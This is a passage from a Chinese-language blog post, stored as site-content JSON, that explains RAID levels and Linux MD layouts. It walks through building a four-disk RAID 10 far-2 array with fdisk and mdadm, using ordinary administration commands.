Disks），简称磁盘阵列。利用虚拟化存储技术把多个硬盘组合起来，成为一个或多个硬盘阵列组，目的为提升性能或资料冗余，或是两者同时提升。",{"id":2936,"title":2937,"titles":2938,"content":2939,"level":78},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#标准-raid-级别","标准 RAID 级别",[2923,2932],"以下讨论的是 Standard RAID Level，也就是标准RAID 级别。 RAID 有「级别」之分。不同级别的 RAID 需求的硬盘、容错能力、性能等都有所不同。具体可以见下表：\n( n 表示有 n 块大小相同的硬盘。) RAID 级别最小硬盘数最大容错可用容量读取性能写入性能描述没有 RAID10n11一块硬盘，以及多块硬盘「拼接」起来RAID 0201nn并联，数据均匀分布在多块硬盘上，最快，但是没有容错（一块坏掉，数据全坏）RAID 12n-11n1数据在每块盘上都有存储，安全性最高，没有写入速度的提升RAID 531n-1n-1n-1奇偶校验，校验数据在所有磁盘上都有，一块磁盘坏了，可以根据其他数据进行重构。RAID 642n-2n-2n-2两种不同的校验，可以允许两块硬盘失效。 RAID2 - RAID4?\nRAID2 通过海明码校验，需要4块数据盘，3块校验盘，受到阵列中最慢效率限制，没有实际用途。\nRAID3 Bit－interleaving（数据交错存储）技术，将相同比特检查后单独存在一个硬盘中，但由于数据内的比特分散在不同的硬盘上，因此就算要读取一小段数据资料都可能需要所有的硬盘进行工作，也没有什么实际作用\nRAID 4 采用块交织技术（Block interleaving），和 RAID 3 类似，只不过单位不是以 bit 而是以块。",{"id":2941,"title":2942,"titles":2943,"content":2944,"level":78},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#组合-raid","组合 RAID",[2923,2932],"可以视为进行嵌套：\n例如 RAID 10 和 RAID 01： RAID 10: graph TD\n    A[RAID 1] --> B[RAID 0]\n    A --> C[RAID 0]\n    B --> D[Disk 1]\n    B --> E[Disk 2]\n    C --> F[Disk 3]\n    C --> G[Disk 4] RAID 01: graph TD\n    A[RAID 0] --> B[RAID 1]\n    A --> C[RAID 1]\n    B --> D[Disk 1]\n    B --> E[Disk 2]\n    C --> F[Disk 3]\n    C --> G[Disk 4] 除此外还有 RAID 50，RAID 60 都类似以上。",{"id":2946,"title":2947,"titles":2948,"content":2949,"level":78},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#linux-md-raid-101","Linux MD RAID 101",[2923,2932],"Linux MD: md - Multiple Device driver aka Linux Software RAID Linux 中使用 mdadm 创建和管理软 RAID。 Linux MD RAID 10 的实现并不是标准的 RAID 10。2\nLinux 下的 RAID10 建立在 RAID1+0 的概念上，但它将其实现为单一的一层，这一层可以有多种不同的布局。 分为远近两种布局：\n在 Y 块硬盘上的近 X 布局在不同硬盘上重复储存每个数据块 X 次，但不需要 Y 可以被 X 整除。数据块放在所镜像的磁盘上几乎相同的位置，这就是_近布局_名字的来源。它可以工作在任意数量的磁盘上，最少是 2 块。在 2 块硬盘上的近 2 布局相当于 RAID1，4 块硬盘上的近 2 布局相当于 RAID1+0。",{"id":2951,"title":2952,"titles":2953,"content":2954,"level":66},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#选择-raid-等级","选择 RAID 等级",[2923],"组 RAID 在笔者看来无非三个目的： 寻求更高效的读写速度：如果只是寻求更快的读写速度，可以考虑用 SSD寻求更大的存储容量：如果只是寻求更大的存储容量，可以不使用 RAID 而是直接使用多张硬盘寻求数据备份（容错性）：实际上只依赖 RAID 备份也不可靠，核心数据还是建议遵循 3-2-1原则 3-2-1原则3 个副本，2个不同备份介质，1个异地容灾备份 因此你可能并不需要 RAID。",{"id":2956,"title":2957,"titles":2958,"content":2959,"level":78},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#我的选择-远-2-布局的-raid-10","我的选择: 远 2 布局的 RAID 10",[2923,2952],"选择 RAID 10, far 2 的原因有如下： 有镜像，容错1个盘读写速度提高：读速度 n 倍，写速度 n \u002F2空间利用 50 % 为什么没有选择 RAID 5？RAID 5 的空间利用率可以更高，但是有如下缺点：数据重建耗时长，资源消耗很高，可能需要 100% 负载运转数十小时。如果在这个时间内，又有一块硬盘坏掉，那么所有数据都无法重建读取效率没有 RAID 10 高（但是其实差距不大，盘越多差距越小） 我的最终方案是使用 4 块 4T 的西部数据红盘，构建远2布局的 RAID 10：最终能得到 8T 的有效空间。",{"id":2961,"title":2962,"titles":2963,"content":2964,"level":66},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#步骤","步骤",[2923],"磁盘分区： 使用 fdisk 分别对 \u002Fdev\u002FsdX 进行修改：\nn 创建分区，减去末尾 100M （以便之后替换硬盘时对齐大小）t 修改分区格式为 Linux RAIDw 保存构建 RAID: 使用 mdadm 命令：mdadm --create --verbose --level=10 --metadata=1.2 --chunk=512 --raid-devices=4 --layout=f2 \u002Fdev\u002Fmd\u002FMyRAID10Array \u002Fdev\u002Fsda1 \u002Fdev\u002Fsdb1 \u002Fdev\u002Fsdc1 \u002Fdev\u002Fsdd1现在这个磁盘阵列会作为 \u002Fdev\u002FmdX 作为一个 block device，可以使用 mkfs 构建文件系统，如果使用 ext4 可以通过调整参数优化读写性能，参考 RAID - Arch Linux 中文维基可以通过 cat \u002Fproc\u002Fmdstat 查看奇偶校验进度，可能需要几个小时，在此期间阵列已经可以使用了（降级模式）修改配置文件\nmdadm --detail --scan >> \u002Fetc\u002Fmdadm.confmdadm --assemble --scan 至此，我们已经构建完成了磁盘阵列，等待奇偶校验结束后，磁盘可以被满血使用了。 FootnotesNon-standard RAID levels - Wikipedia ↩RAID - Arch Linux 中文维基 ↩ html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",[2966],{"title":2967,"path":2968,"stem":2969,"children":2970,"page":3020},"Blog","\u002Fblog","blog",[2971,2973,2975,2977,2979,2981,2983,2985,2987,2989,2991,2993,2995,2997,2999,3001,3002,3004,3006,3008,3010,3012,3014,3016,3018],{"title":1722,"path":1721,"stem":2972},"blog\u002Fbazel-simple-intro",{"title":1770,"path":1769,"stem":2974},"blog\u002Fbefore-leaving-germany",{"title":1827,"path":1826,"stem":2976},"blog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt",{"title":1873,"path":1872,"stem":2978},"blog\u002Fcompile-grammar-analysis",{"title":1932,"path":1931,"stem":2980},"blog\u002Fcompile-lexical-analysis",{"title":1993,"path":1992,"stem":2982},"blog\u002Fconcurrency",{"title":2056,"path":2055,"stem":2984},"blog\u002Fdingtalk-interview-1",{"title":2128,"path":2127,"stem":2986},"blog\u002Fdocker-network-model",{"title":2192,"path":2191,"stem":2988},"blog\u002Ffastgpt-english-article-analyse",{"title":2224,"path":2223,"stem":2990},"blog\u002Ffrom-obsidian-to-notion",{"title":2260,"path":2259,"stem":2992},"blog\u002Fgitea-ci-cd",{"title":2293,"path":2292,"stem":2994},"blog\u002Fgolang",{"title":2407,"path":2406,"stem":2996},"blog\u002Fhow-to-use-and-create-bun-plugin",{"title":2469,"path":2468,"stem":2998},"blog\u002Fhydration",{"title":2492,"path":2491,"stem":3000},"blog\u002Fideal-daily-life",{"title":5,"path":1712,"stem":1714},{"title":2669,"path":2668,"stem":3003},"blog\u002Fn1-armbian-docker-openwrt-bypass-route",{"title":2716,"path":2715,"stem":3005},"blog\u002Fniri",{"title":2740,"path":2739,"stem":3007},"blog\u002Fquery-chinese-in-code",{"title":2753,"path":2752,"stem":3009},"blog\u002Frethinking-productivity-in-ai-age",{"title":2786,"path":2785,"stem":3011},"blog\u002Fsetup-audio-driver-on-pixelbook",{"title":2795,"path":2794,"stem":3013},"blog\u002Ftree-sitter-query",{"title":2832,"path":2831,"stem":3015},"blog\u002Ftypeless-first-experience",{"title":2861,"path":2860,"stem":3017},"blog\u002Fuse-babel-generate-customized-apidoc",{"title":2923,"path":2922,"stem":3019},"blog\u002Fuse-mdadm-to-create-soft-raid-on-linux",false,1778265972930]